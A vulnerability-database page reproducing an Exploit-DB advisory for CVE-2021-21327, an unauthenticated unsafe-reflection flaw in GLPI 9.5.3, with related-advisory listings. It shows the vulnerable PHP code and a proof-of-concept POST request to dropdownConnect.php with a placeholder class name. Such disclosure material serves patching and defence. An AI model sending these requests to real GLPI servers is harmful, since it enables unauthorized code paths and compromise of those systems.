| Reporter | Title | Published | Views | Family All 70 |
|---|---|---|---|---|
| GLPI 9.5.3 - (fromtype) Unsafe Reflection Vulnerability | 8 Mar 202100:00 | – | zdt | |
| Security fix for the ALT Linux 10 package glpi version 9.5.4-alt1 | 31 Mar 202100:00 | – | altlinux | |
| Security fix for the ALT Linux 9 package glpi version 9.5.4-alt1 | 14 Apr 202100:00 | – | altlinux | |
| CVE-2021-21327 | 14 Nov 202406:08 | – | circl | |
| GLPI 安全漏洞 | 8 Mar 202100:00 | – | cnnvd | |
| Unspecified vulnerability in GLPI (CNVD-2021-17770) | 12 Mar 202100:00 | – | cnvd | |
| CVE-2021-21327 | 8 Mar 202117:00 | – | cve | |
| CVE-2021-21327 Unsafe Reflection in getItemForItemtype() | 8 Mar 202117:00 | – | cvelist | |
| GLPI 9.5.3 - 'fromtype' Unsafe Reflection | 8 Mar 202100:00 | – | exploitdb | |
| EUVD-2021-8673 | 3 Oct 202520:07 | – | euvd |
`# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection
# Date: 2021-02-13
# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: <=9.5.3
# Tested on:v9.5.3, 2021-02-13
# Technical advisories:
# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp
# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/
Impact:
Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a “POP chain”.
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.
Description:
When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.
Vulnerable code sample:
--- file dropdownConnect.php:
if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {
exit();
}
---
--- file dbutils.class.php, function getItemForItemtype($itemtype)
if (class_exists($itemtype)) {
return new $itemtype();
}
//handle namespaces
if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
$itemtype = stripslashes($itemtype);
if (class_exists($itemtype)) {
return new $itemtype();
}
}
---
POC/Steps to reproduce:
Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12
fromtype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation